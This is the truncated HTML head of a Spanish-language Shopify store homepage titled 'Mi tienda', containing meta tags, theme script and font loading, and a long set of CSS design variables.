<!doctype html>
<html
  
  lang="es"
>
  <head>
    


<meta charset="utf-8">
<meta
  http-equiv="X-UA-Compatible"
  content="IE=edge"
>
<meta
  name="viewport"
  content="width=device-width,initial-scale=1"
>
<meta
  name="theme-color"
  content=""
>

<meta
  property="og:site_name"
  content="Mi tienda"
>
<meta
  property="og:url"
  content="https://cocinacanina.store/"
>
<meta
  property="og:title"
  content="Mi tienda"
>
<meta
  property="og:type"
  content="website"
>
<meta
  property="og:description"
  content="Mi tienda"
><meta
  name="twitter:card"
  content="summary_large_image"
>
<meta
  name="twitter:title"
  content="Mi tienda"
>
<meta
  name="twitter:description"
  content="Mi tienda"
>

<title>
  Mi tienda
</title>

<link
  rel="canonical"
  href="https://cocinacanina.store/"
>


<link href="//cocinacanina.store/cdn/shop/t/1/assets/overflow-list.css?v=16727044177065489451787271009" as="style" rel="preload">
<link href="//cocinacanina.store/cdn/shop/t/1/assets/base.css?v=132492467252896707531787271009" rel="stylesheet" type="text/css" media="all" />





<link href="//cocinacanina.store/cdn/fonts/inter/inter_n4.b2a3f24c19b4de56e8871f609e73ca7f6d2e2bb9.woff2" as="font" type="font/woff2" fetchpriority="low" crossorigin="anonymous" rel="preload">
<link href="//cocinacanina.store/cdn/fonts/inter/inter_n5.d7101d5e168594dd06f56f290dd759fba5431d97.woff2" as="font" type="font/woff2" fetchpriority="low" crossorigin="anonymous" rel="preload">
<link href="//cocinacanina.store/cdn/fonts/inter/inter_n7.02711e6b374660cfc7915d1afc1c204e633421e4.woff2" as="font" type="font/woff2" fetchpriority="low" crossorigin="anonymous" rel="preload">
<link href="//cocinacanina.store/cdn/fonts/inter/inter_n7.02711e6b374660cfc7915d1afc1c204e633421e4.woff2" as="font" type="font/woff2" fetchpriority="low" crossorigin="anonymous" rel="preload">


<script async crossorigin fetchpriority="high" src="/cdn/shopifycloud/importmap-polyfill/es-modules-shim.2.4.0.js"></script>
<script type="importmap">
  {
    "imports": {
      "@theme/overflow-list": "//cocinacanina.store/cdn/shop/t/1/assets/overflow-list.js?v=46858356770684902511787271009",
      "@theme/component": "//cocinacanina.store/cdn/shop/t/1/assets/component.js?v=175690430936884589731787271009",
      "@theme/dialog": "//cocinacanina.store/cdn/shop/t/1/assets/dialog.js?v=144816527575655702281787271009",
      "@theme/events": "//cocinacanina.store/cdn/shop/t/1/assets/events.js?v=99399773727497444581787271009",
      "@shopify/events": "https://cdn.shopify.com/storefront/standard-events.js",
      "@theme/view-event-elements": "//cocinacanina.store/cdn/shop/t/1/assets/view-event-elements.js?v=34258756885466567141787271009",
      "@theme/focus": "//cocinacanina.store/cdn/shop/t/1/assets/focus.js?v=60436577539430446401787271009",
      "@theme/morph": "//cocinacanina.store/cdn/shop/t/1/assets/morph.js?v=182601902166245204061787271009",
      "@theme/paginated-list": "//cocinacanina.store/cdn/shop/t/1/assets/paginated-list.js?v=71290058904108491691787271009",
      "@theme/performance": "//cocinacanina.store/cdn/shop/t/1/assets/performance.js?v=171015751390534793081787271009",
      "@theme/product-form": "//cocinacanina.store/cdn/shop/t/1/assets/product-form.js?v=156247955454460663281787271009",
      "@theme/recently-viewed-products": "//cocinacanina.store/cdn/shop/t/1/assets/recently-viewed-products.js?v=94729125001750262651787271009",
      "@theme/scrolling": "//cocinacanina.store/cdn/shop/t/1/assets/scrolling.js?v=162288454571026455011787271009",
      "@theme/section-renderer": "//cocinacanina.store/cdn/shop/t/1/assets/section-renderer.js?v=44511745960026958271787271009",
      "@theme/section-hydration": "//cocinacanina.store/cdn/shop/t/1/assets/section-hydration.js?v=108434990705342316311787271009",
      "@theme/money-formatting": "//cocinacanina.store/cdn/shop/t/1/assets/money-formatting.js?v=160151249720534550011787271009",
      "@theme/utilities": "//cocinacanina.store/cdn/shop/t/1/assets/utilities.js?v=46961525399390006791787271009",
      "@theme/variant-picker": "//cocinacanina.store/cdn/shop/t/1/assets/variant-picker.js?v=76692244208061220611787271009",
      "@theme/variant-resolution": "//cocinacanina.store/cdn/shop/t/1/assets/variant-resolution.js?v=69293302205961280521787271009",
      "@theme/media-gallery": "//cocinacanina.store/cdn/shop/t/1/assets/media-gallery.js?v=154207211298275592001787271009",
      "@theme/quick-add": "//cocinacanina.store/cdn/shop/t/1/assets/quick-add.js?v=160295260742220749141787271009",
      "@theme/paginated-list-aspect-ratio": "//cocinacanina.store/cdn/shop/t/1/assets/paginated-list-aspect-ratio.js?v=25254270272143792451787271009",
      "@theme/popover-polyfill": "//cocinacanina.store/cdn/shop/t/1/assets/popover-polyfill.js?v=119029313658895111201787271009",
      "@theme/component-quantity-selector": "//cocinacanina.store/cdn/shop/t/1/assets/component-quantity-selector.js?v=67906657287482036641787271009",
      "@theme/comparison-slider": "//cocinacanina.store/cdn/shop/t/1/assets/comparison-slider.js?v=106705562947035711941787271009",
      "@theme/sticky-add-to-cart": "//cocinacanina.store/cdn/shop/t/1/assets/sticky-add-to-cart.js?v=130489688094345781431787271009",
      "@theme/fly-to-cart": "//cocinacanina.store/cdn/shop/t/1/assets/fly-to-cart.js?v=48483246440248933081787271009",
      "@theme/scroll-container": "//cocinacanina.store/cdn/shop/t/1/assets/scroll-container.js?v=127018149358875384221787271009",
      "@theme/theme-drawer": "//cocinacanina.store/cdn/shop/t/1/assets/theme-drawer.js?v=155110645205299884131787271009"
    }
  }
</script><script
  src="//cocinacanina.store/cdn/shop/t/1/assets/standard-actions-override.js?v=171683365447094389611787271009"
  type="module"
></script>

<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/page-view-event.js?v=12823247316348680231787271009"
  type="module"
  defer
></script>

<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/view-transitions.js?v=116552130480572511441787271009"
  async
  
></script>

<link
  rel="modulepreload"
  href="//cocinacanina.store/cdn/shop/t/1/assets/utilities.js?v=46961525399390006791787271009"
  fetchpriority="low"
>
<link
  rel="modulepreload"
  href="//cocinacanina.store/cdn/shop/t/1/assets/component.js?v=175690430936884589731787271009"
  fetchpriority="low"
>
<link
  rel="modulepreload"
  href="//cocinacanina.store/cdn/shop/t/1/assets/section-renderer.js?v=44511745960026958271787271009"
  fetchpriority="low"
>
<link
  rel="modulepreload"
  href="//cocinacanina.store/cdn/shop/t/1/assets/section-hydration.js?v=108434990705342316311787271009"
  fetchpriority="low"
>
<link
  rel="modulepreload"
  href="//cocinacanina.store/cdn/shop/t/1/assets/morph.js?v=182601902166245204061787271009"
  fetchpriority="low"
>



<link
  rel="modulepreload"
  href="//cocinacanina.store/cdn/shop/t/1/assets/focus.js?v=60436577539430446401787271009"
  fetchpriority="low"
>
<link
  rel="modulepreload"
  href="//cocinacanina.store/cdn/shop/t/1/assets/recently-viewed-products.js?v=94729125001750262651787271009"
  fetchpriority="low"
>
<link
  rel="modulepreload"
  href="//cocinacanina.store/cdn/shop/t/1/assets/scrolling.js?v=162288454571026455011787271009"
  fetchpriority="low"
>
<link
  rel="modulepreload"
  href="//cocinacanina.store/cdn/shop/t/1/assets/events.js?v=99399773727497444581787271009"
  fetchpriority="low"
>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/popover-polyfill.js?v=119029313658895111201787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/overflow-list.js?v=46858356770684902511787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/quick-add.js?v=160295260742220749141787271009"
  type="module"
  fetchpriority="low"
></script>

  <script
    src="//cocinacanina.store/cdn/shop/t/1/assets/cart-discount.js?v=138990160074728809221787271009"
    type="module"
    fetchpriority="low"
  ></script>


<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/dialog.js?v=144816527575655702281787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/variant-picker.js?v=76692244208061220611787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/product-card.js?v=80689566448612614681787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/product-form.js?v=156247955454460663281787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/fly-to-cart.js?v=48483246440248933081787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/accordion-custom.js?v=105323356731531709191787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/media.js?v=37825095869491791421787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/product-price.js?v=179333985604099329921787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/product-sku.js?v=28741104639155857071787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/product-inventory.js?v=7173209571153411411787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/show-more.js?v=94563802205717136101787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/slideshow.js?v=28306258147874261831787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/layered-slideshow.js?v=30135417790894624731787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/anchored-popover.js?v=143987075196095667371787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/floating-panel.js?v=151277338116891310371787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/video-background.js?v=25237992823806706551787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/component-quantity-selector.js?v=67906657287482036641787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/media-gallery.js?v=154207211298275592001787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/rte-formatter.js?v=40306132146590816021787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/volume-pricing.js?v=15442793518842484731787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/price-per-item.js?v=115937180292451397851787271009"
  type="module"
  fetchpriority="low"
></script>
<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/volume-pricing-info.js?v=94479640769665442661787271009"
  type="module"
  fetchpriority="low"
></script>





<script
  src="//cocinacanina.store/cdn/shop/t/1/assets/auto-close-details.js?v=58350291535404441581787271009"
  defer="defer"
></script>

<script>
  const Theme = {
    translations: {
      placeholder_image: `Imagen marcadora de posición`,
      added: `Agregado`,
      recipient_form_fields_visible: `Los campos de destinatario en el formulario ya son visibles`,
      recipient_form_fields_hidden: `Los campos de destinatario en el formulario ya no son visibles`,
      recipient_form_error: `Hubo un error al enviar el formulario`,
      items_added_to_cart_one: `Se agregó un artículo al carrito`,
      items_added_to_cart_other: `Se agregaron {{ count }} artículos al carrito`,
      cart_count: `Total de artículos en el carrito`,
    },
    routes: {
      cart_add_url: '/cart/add.js',
      cart_change_url: '/cart/change',
      cart_update_url: '/cart/update',
      cart_url: '/cart',
      predictive_search_url: '/search/suggest',
      search_url: '/search',
    },
    template: {
      name: 'index',
    },
  };
</script>
<style data-shopify>
@font-face {
  font-family: Inter;
  font-weight: 400;
  font-style: normal;
  font-display: swap;
  src: url("//cocinacanina.store/cdn/fonts/inter/inter_n4.b2a3f24c19b4de56e8871f609e73ca7f6d2e2bb9.woff2") format("woff2"),
       url("//cocinacanina.store/cdn/fonts/inter/inter_n4.af8052d517e0c9ffac7b814872cecc27ae1fa132.woff") format("woff");
}
@font-face {
  font-family: Inter;
  font-weight: 700;
  font-style: normal;
  font-display: swap;
  src: url("//cocinacanina.store/cdn/fonts/inter/inter_n7.02711e6b374660cfc7915d1afc1c204e633421e4.woff2") format("woff2"),
       url("//cocinacanina.store/cdn/fonts/inter/inter_n7.6dab87426f6b8813070abd79972ceaf2f8d3b012.woff") format("woff");
}
@font-face {
  font-family: Inter;
  font-weight: 400;
  font-style: italic;
  font-display: swap;
  src: url("//cocinacanina.store/cdn/fonts/inter/inter_i4.feae1981dda792ab80d117249d9c7e0f1017e5b3.woff2") format("woff2"),
       url("//cocinacanina.store/cdn/fonts/inter/inter_i4.62773b7113d5e5f02c71486623cf828884c85c6e.woff") format("woff");
}
@font-face {
  font-family: Inter;
  font-weight: 700;
  font-style: italic;
  font-display: swap;
  src: url("//cocinacanina.store/cdn/fonts/inter/inter_i7.b377bcd4cc0f160622a22d638ae7e2cd9b86ea4c.woff2") format("woff2"),
       url("//cocinacanina.store/cdn/fonts/inter/inter_i7.7c69a6a34e3bb44fcf6f975857e13b9a9b25beb4.woff") format("woff");
}
@font-face {
  font-family: Inter;
  font-weight: 500;
  font-style: normal;
  font-display: swap;
  src: url("//cocinacanina.store/cdn/fonts/inter/inter_n5.d7101d5e168594dd06f56f290dd759fba5431d97.woff2") format("woff2"),
       url("//cocinacanina.store/cdn/fonts/inter/inter_n5.5332a76bbd27da00474c136abb1ca3cbbf259068.woff") format("woff");
}
@font-face {
  font-family: Inter;
  font-weight: 500;
  font-style: italic;
  font-display: swap;
  src: url("//cocinacanina.store/cdn/fonts/inter/inter_i5.4474f48e6ab2b1e01aa2b6d942dd27fa24f2d99f.woff2") format("woff2"),
       url("//cocinacanina.store/cdn/fonts/inter/inter_i5.493dbd6ee8e49f4ad722ebb68d92f201af2c2f56.woff") format("woff");
}


  :root {
    /* Page Layout */
    --sidebar-width: 25rem;
    --theme-drawer-width: 30rem;
    --narrow-content-width: 36rem;
    --normal-content-width: 42rem;
    --narrow-page-width: 90rem;
    --normal-page-width: 120rem;
    --wide-page-width: 150rem;

    /* Section Heights */
    --section-height-small: 15rem;
    --section-height-medium: 25rem;
    --section-height-large: 35rem;

    @media screen and (min-width: 40em) {
      --section-height-small: 40svh;
      --section-height-medium: 55svh;
      --section-height-large: 70svh;
    }

    @media screen and (min-width: 60em) {
      --section-height-small: 50svh;
      --section-height-medium: 65svh;
      --section-height-large: 80svh;
    }

    /* Letter spacing */
    --letter-spacing-sm: 0.06em;

    /* Font families */
    --font-body--family: Inter, sans-serif;
    --font-body--style: normal;
    --font-body--weight: 400;
    --font-subheading--family: Inter, sans-serif;
    --font-subheading--style: normal;
    --font-subheading--weight: 500;
    --font-heading--family: Inter, sans-serif;
    --font-heading--style: normal;
    --font-heading--weight: 700;
    --font-accent--family: Inter, sans-serif;
    --font-accent--style: normal;
    --font-accent--weight: 700;

    /* Margin sizes */
    --font-heading--spacing: 0.25em;
    --font-h1--spacing: var(--font-heading--spacing);
    --font-h2--spacing: var(--font-heading--spacing);
    --font-h3--spacing: var(--font-heading--spacing);
    --font-h4--spacing: var(--font-heading--spacing);
    --font-h5--spacing: var(--font-heading--spacing);
    --font-h6--spacing: var(--font-heading--spacing);
    --font-paragraph--spacing: 0.5em;

    /** Z-Index / Layering */
    --layer-section-background: -2;
    --layer-lowest: -1;
    --layer-base: 0;
    --layer-flat: 1;
    --layer-raised: 2;
    --layer-heightened: 4;
    --layer-sticky: 8;
    --layer-window-overlay: 10;
    --layer-header-menu: 12;
    --layer-overlay: 16;
    --layer-menu-drawer: 18;
    --layer-temporary: 20;

    /* Max-width / Measure */
    --max-width--body-normal: 32.5em;
    --max-width--body-narrow: 22.75em;

    --max-width--heading-normal: 32.5em;
    --max-width--heading-narrow: 19.5em;

    --max-width--display-normal: 13em;
    --max-width--display-narrow: 9.75em;
    --max-width--display-tight: 3.25em;

    /* Letter-spacing / Tracking */
    --letter-spacing--display-tight: -0.03em;
    --letter-spacing--display-normal: 0em;
    --letter-spacing--display-loose: 0.03em;

    --letter-spacing--heading-tight: -0.03em;
    --letter-spacing--heading-normal: 0em;
    --letter-spacing--heading-loose: 0.03em;

    --letter-spacing--body-tight: -0.03em;
    --letter-spacing--body-normal: 0em;
    --letter-spacing--body-loose: 0.03em;

    /* Line height / Leading */
    --line-height: 1;

    --line-height--display-tight: 1;
    --line-height--display-normal: 1.1;
    --line-height--display-loose: 1.2;

    --line-height--heading-tight: 1.15;
    --line-height--heading-normal: 1.25;
    --line-height--heading-loose: 1.35;

    --line-height--body-tight: 1.2;
    --line-height--body-normal: 1.4;
    --line-height--body-loose: 1.6;

    /* Typography presets */
    --font-size--paragraph: 0.875rem;--font-size--h1: clamp(3.0rem, 5.6vw, 3.5rem);--font-size--h2: clamp(2.25rem, 4.8vw, 3.0rem);--font-size--h3: 2.0rem;--font-size--h4: 1.5rem;--font-size--h5: 0.875rem;--font-size--h6: 0.75rem;--font-paragraph--weight: 400;--font-paragraph--size: var(--font-size--paragraph);--font-paragraph--family: var(--font-body--family);--font-paragraph--style: var(--font-body--style);--font-paragraph--case: ;--font-paragraph--line-height: var(--line-height--body-loose);--font-h1--weight: var(--font-heading--weight);--font-h1--letter-spacing: var(--letter-spacing--heading-normal);--font-h1--size: var(--font-size--h1);--font-h1--family: var(--font-heading--family);--font-h1--style: var(--font-heading--style);--font-h1--case: none;--font-h1--line-height: var(--line-height--display-tight);--font-h2--weight: var(--font-heading--weight);--font-h2--letter-spacing: var(--letter-spacing--heading-normal);--font-h2--size: var(--font-size--h2);--font-h2--family: var(--font-heading--family);--font-h2--style: var(--font-heading--style);--font-h2--case: none;--font-h2--line-height: var(--line-height--display-tight);--font-h3--weight: var(--font-heading--weight);--font-h3--letter-spacing: var(--letter-spacing--heading-normal);--font-h3--size: var(--font-size--h3);--font-h3--family: var(--font-heading--family);--font-h3--style: var(--font-heading--style);--font-h3--case: none;--font-h3--line-height: var(--line-height--display-normal);--font-h4--weight: var(--font-heading--weight);--font-h4--letter-spacing: var(--letter-spacing--heading-normal);--font-h4--size: var(--font-size--h4);--font-h4--family: var(--font-heading--family);--font-h4--style: var(--font-heading--style);--font-h4--case: none;--font-h4--line-height: var(--line-height--display-tight);--font-h5--weight: var(--font-subheading--weight);--font-h5--letter-spacing: var(--letter-spacing--heading-normal);--font-h5--size: var(--font-size--h5);--font-h5--family: var(--font-subheading--family);--font-h5--style: var(--font-subheading--style);--font-h5--case: none;--font-h5--line-height: var(--line-height--display-loose);--font-h6--weight: var(--font-subheading--weight);--font-h6--letter-spacing: var(--letter-spacing--heading-normal);--font-h6--size: var(--font-size--h6);--font-h6--family: var(--font-subheading--family);--font-h6--style: var(--font-subheading--style);--font-h6--case: none;--font-h6--line-height: var(--line-height--display-loose);

    /* Hardcoded font sizes */
    --font-size--3xs: 0.625rem;
    --font-size--2xs: 0.75rem;
    --font-size--xs: 0.8125rem;
    --font-size--sm: 0.875rem;
    --font-size--md: 1rem;
    --font-size--lg: 1.125rem;
    --font-size--xl: 1.25rem;
    --font-size--2xl: 1.5rem;
    --font-size--3xl: 2rem;
    --font-size--4xl: 2.5rem;
    --font-size--5xl: 3rem;
    --font-size--6xl: 3.5rem;

    /* Menu font sizes */
    --menu-font-sm--size: 0.875rem;
    --menu-font-sm--line-height: calc(1.1 + 0.5 * min(16 / 14));
    --menu-font-md--size: 1rem;
    --menu-font-md--line-height: calc(1.1 + 0.5 * min(16 / 16));
    --menu-font-xl--size: 1.25rem;
    --menu-font-xl--line-height: calc(1.1 + 0.5 * min(16 / 20));
    --menu-font-2xl--size: 1.75rem;
    --menu-font-2xl--line-height: calc(1.1 + 0.5 * min(16 / 28));

    /* Colors */
    --color-error: #8B0000;
    --color-success: #006400;
    --color-white: #FFFFFF;
    --color-white-rgb: 255 255 255;
    --color-instock: #3ED660;
    --color-lowstock: #EE9441;
    --color-outofstock: #C8C8C8;

    /* Opacity */
    --opacity-5: 0.05;
    --opacity-8: 0.08;
    --opacity-10: 0.1;
    --opacity-15: 0.15;
    --opacity-20: 0.2;
    --opacity-25: 0.25;
    --opacity-30: 0.3;
    --opacity-40: 0.4;
    --opacity-50: 0.5;
    --opacity-60: 0.6;
    --opacity-70: 0.7;
    --opacity-80: 0.8;
    --opacity-85: 0.85;
    --opacity-90: 0.9;
    --opacity-subdued-text: 0.8;
    --opacity-muted-text: 0.6;

    --shadow-button: 0 2px 3px rgb(0 0 0 / 20%);
    --gradient-image-overlay: linear-gradient(to top, rgb(0 0 0 / 0.5), transparent);

    /* Spacing */
    --margin-3xs: 0.125rem;
    --margin-2xs: 0.3rem;
    --margin-xs: 0.5rem;
    --margin-sm: 0.7rem;
    --margin-md: 0.8rem;
    --margin-lg: 1rem;
    --margin-xl: 1.25rem;
    --margin-2xl: 1.5rem;
    --margin-4xl: 2rem;
    --margin-6xl: 5rem;


    --padding-3xs: 0.125rem;
    --padding-2xs: 0.25rem;
    --padding-xs: 0.5rem;
    --padding-sm: 0.7rem;
    --padding-md: 0.8rem;
    --padding-lg: 1rem;
    --padding-xl: 1.25rem;
    --padding-2xl: 1.5rem;
    --padding-3xl: 1.75rem;
    --padding-4xl: 2rem;
    --padding-5xl: 3rem;
    --padding-6xl: 4rem;

    --gap-3xs: 0.125rem;
    --gap-2xs: 0.3rem;
    --gap-xs: 0.5rem;
    --gap-sm: 0.7rem;
    --gap-md: 0.9rem;
    --gap-lg: 1rem;
    --gap-xl: 1.25rem;
    --gap-2xl: 2rem;
    --gap-3xl: 3rem;

    --spacing-scale-md: 0.7;
    --spacing-scale-default: 1.0;

    /* Checkout buttons gap */
    --checkout-button-gap: 10px;

    /* Borders */
    --style-border-width: 1px;
    --style-border-radius-xs: 0.2rem;
    --style-border-radius-sm: 0.6rem;
    --style-border-radius-md: 0.8rem;
    --style-border-radius-50: 50%;
    --style-border-radius-lg: 1rem;
    --style-border-radius-pills: 40px;
    --style-border-radius-inputs: 4px;
    --style-border-radius-buttons-primary: 14px;
    --style-border-radius-buttons-secondary: 14px;
    --style-border-width-primary: 0px;
    --style-border-width-secondary: 1px;
    --style-border-width-inputs: 1px;
    --style-border-radius-popover: 14px;
    --style-border-popover: 1px solid #DFDFDF;
    --style-border-drawer: 1px solid #DFDFDF;
    --style-border-swatch-opacity: 10%;
    --style-border-swatch-width: 1px;
    --style-border-swatch-style: solid;

    /* Animation */
    --ease-out-cubic: cubic-bezier(0.33, 1, 0.68, 1);
    --ease-out-quad: cubic-bezier(0.32, 0.72, 0, 1);
    --animation-speed-fast: 0.0625s;
    --animation-speed: 0.125s;
    --animation-speed-slow: 0.2s;
    --animation-speed-medium: 0.15s;
    --animation-easing: ease-in-out;
    --drawer-animation-speed: 0.2s;
    --animation-values: var(--animation-speed) var(--animation-easing);
    --animation-timing-hover: cubic-bezier(0.25, 0.46, 0.45, 0.94);
    --animation-timing-active: cubic-bezier(0.5, 0, 0.75, 0);
    --animation-timing-bounce: cubic-bezier(0.34, 1.56, 0.64, 1);
    --animation-timing-default: cubic-bezier(0, 0, 0.2, 1);
    --animation-timing-fade-in: cubic-bezier(0.16, 1, 0.3, 1);
    --animation-timing-fade-out: cubic-bezier(0.4, 0, 0.2, 1);
    /* Spring definitions suffixed with perceptual duration (d<ms>) and bounce (b<%>)*/
    --spring-d300-b0-easing: linear(0, 0.0033 0.81%, 0.027 2.42%, 0.0916 4.84%, 0.4745 15.32%, 0.6422 20.97%, 0.7175, 0.7789, 0.8283 30.64%, 0.876, 0.9111 38.71%, 0.941, 0.9611 48.39%, 0.9707, 0.978 54.84%, 0.9885 62.1%, 0.9949 70.97%, 0.9982 82.26%, 0.9997 100%);
    --spring-d300-b0-duration: 0.4980s;
    --spring-d280-b0-easing: linear(0, 0.0044, 0.0164 1.85%, 0.085 4.63%, 0.4571 14.81%, 0.575 18.52%, 0.6505, 0.7148 24.07%, 0.7849, 0.8393, 0.8809 35.18%, 0.9189, 0.9453 44.44%, 0.9662, 0.9793 55.55%, 0.9894 62.95%, 0.995 71.28%, 0.9982 82.39%, 0.9997 99.98%);
    --spring-d280-b0-duration: 0.4648s;
    --spring-d220-b0-easing: linear(
      0,
      0.0093 1.37%,
      0.0696 4.12%,
      0.4667 15.09%,
      0.6322 20.58%,
      0.6986 23.32%,
      0.7793 27.44%,
      0.8219 30.18%,
      0.8721,
      0.9089 38.42%,
      0.9427,
      0.9644,
      0.978 54.88%,
      0.9881 61.74%,
      0.9944 69.97%,
      0.998 80.95%,
      0.9996 98.78%
    );
    --spring-d220-b0-duration: 0.3818s;
    --spring-d180-b0-easing: linear(0, 0.0234, 0.0805 4.48%, 0.4865 15.68%, 0.6211 20.16%, 0.7696 26.88%, 0.8064 29.12%, 0.8646, 0.9063, 0.9358, 0.9563 47.04%, 0.9757, 0.9867 60.48%, 0.9941 69.44%, 0.9979 80.64%, 0.9996 98.56%);
    --spring-d180-b0-duration: 0.2988s;

    /* View transitions */
    /* View transition old */
    --view-transition-old-main-content: var(--animation-speed) var(--animation-easing) both fadeOut;

    /* View transition new */
    --view-transition-new-main-content: var(--animation-speed) var(--animation-easing) both fadeIn, var(--animation-speed) var(--animation-easing) both slideInTopViewTransition;

    /* Focus */
    --focus-outline-width: 0.09375rem;
    --focus-outline-offset: 0.2em;

    /* Badges */
    --badge-rectangle-padding-block: 1px;
    --badge-rectangle-padding-inline: 6px;
    @media screen and (min-width: 750px) {
      --badge-rectangle-padding-block: 4px;
      --badge-rectangle-padding-inline: 10px;
    }

    /* Icons */
    --icon-size-2xs: 0.6rem;
    --icon-size-xs: 0.85rem;
    --icon-size-sm: 1.25rem;
    --icon-size-md: 1.375rem;
    --icon-size-lg: 1.5rem;
    --icon-stroke-width: 1.5px;

    /* Input */
    --input-padding-y: 0.8rem;
    --input-padding-x: 0.8rem;
    --input-padding: var(--input-padding-y) var(--input-padding-x);
    --input-box-shadow-width: var(--style-border-width-inputs);
    --input-box-shadow: 0 0 0 var(--input-box-shadow-width) var(--color-input-border);
    --input-box-shadow-focus: 0 0 0 calc(var(--input-box-shadow-width) + 0.5px) var(--color-input-border);
    --input-disabled-background-color: rgb(var(--color-foreground-rgb) / var(--opacity-10));
    --input-disabled-border-color: rgb(var(--color-foreground-rgb) / var(--opacity-5));
    --input-disabled-text-color: rgb(var(--color-foreground-rgb) / var(--opacity-50));
    --input-textarea-min-height: 55px;

    /* Checkbox */
    --checkbox-size: 22px;
    --checkbox-border-radius: 7px;
    --checkbox-border: 1px solid rgb(var(--color-foreground-rgb) / var(--opacity-35-55));
    --checkbox-label-padding: 8px;

    @media screen and (min-width: 750px) {
      --checkbox-size: 16px;
      --checkbox-border-radius: 5px;
      --checkbox-label-padding: 6px;
    }

    /* Button size */
    --button-size-md: 36px;
    --button-size: var(--minimum-touch-target);
    --button-padding-inline: 24px;
    --button-padding-block: 16px;

    /* Button font-family */
    --button-font-family-primary: var(--font-body--family);
    --button-font-family-secondary: var(--font-body--family);

    /* Button text case */
    --button-text-case-primary: default;
    --button-text-case-secondary: default;

    /* Borders */
    --border-color: rgb(var(--color-border-rgb) / var(--opacity-50));
    --border-width-sm: 1px;
    --border-radius-sm: 0.25rem;

    /* Drawers */
    --drawer-header-desktop-top: 0rem;
    --drawer-padding: calc(var(--padding-sm) + 7px);
    --drawer-height: 100dvh;
    --drawer-width: 95vw;
    --drawer-max-width: 500px;

    /* Variant Picker Swatches */
    --variant-picker-swatch-width-unitless: 34;
    --variant-picker-swatch-height-unitless: 34;
    --variant-picker-swatch-width: 34px;
    --variant-picker-swatch-height: 34px;
    --variant-picker-swatch-radius: 32px;
    --variant-picker-border-width: 1px;
    --variant-picker-border-style: solid;
    --variant-picker-border-opacity: 10%;

    /* Variant Picker Buttons */
    --variant-picker-button-radius: 14px;
    --variant-picker-button-border-width: 1px;
    --variant-option-label-color: var(--color, var(--color-foreground));

    /* Slideshow */
    --slideshow-controls-icon: 2rem;
    --peek-next-slide-size: 3rem;

    /* Utilities */
    --backdrop-opacity: 0.15;
    --backdrop-color-rgb: var(--color-shadow-rgb);
    --minimum-touch-target: 44px;
    --disabled-opacity: 0.5;
    --skeleton-opacity: 0.025;

    /* Shapes */

    /* Buy buttons */
    --height-buy-buttons: calc(var(--padding-lg) * 2 + var(--icon-size-sm));

    /* Card image width and height variables */
    --card-width-small: 10rem;

    --height-small: 10rem;

    @media screen and (min-width: 750px) {
      --height-small: 17.5rem;
    }

    /* Modal */
    --modal-max-height: 65dvh;
    --quick-add-modal-height: min(38.5rem, 96vh);
    --quick-add-modal-width: min(54rem, 96vw);
    --quick-add-modal-gallery-width: 24rem;

    /* Card styles for search */
    --card-bg-hover: rgb(var(--color-foreground-rgb) / var(--opacity-5));
    --card-border-hover: rgb(var(--color-foreground-rgb) / var(--opacity-30));
    --card-border-focus: rgb(var(--color-foreground-rgb) / var(--opacity-10));

    /* Cart */
    --cart-primary-font-family: var(--font-body--family);
    --cart-primary-font-style: var(--font-body--style);
    --cart-primary-font-weight: var(--font-body--weight);
    --cart-secondary-font-family: var(--font-subheading--family);
    --cart-secondary-font-style: var(--font-subheading--style);
    --cart-secondary-font-weight: var(--font-subheading--weight);
  }

  .custom-color-quick-add {
    --quick-add-background: #ffffff;
    --quick-add-foreground: #000000;
  }
</style>






  <style data-shopify>
    .color-custom-popover,
    .color-custom-popover .text-block {
      /* Background */
      --color-background: #ffffff;
      --color-background-rgb: 255 255 255;

      /* Opacity values adjusted for background brightness */
      
--opacity-5-15: 0.05; --opacity-10-25: 0.1; --opacity-35-55: 0.35; --opacity-40-60:
0.4; --opacity-30-60: 0.3; --opacity-60: 0.6;


      
        /* Foreground / text — explicit or smart-contrasted */
        --color: #000000;
        --color-rgb: 0 0 0;
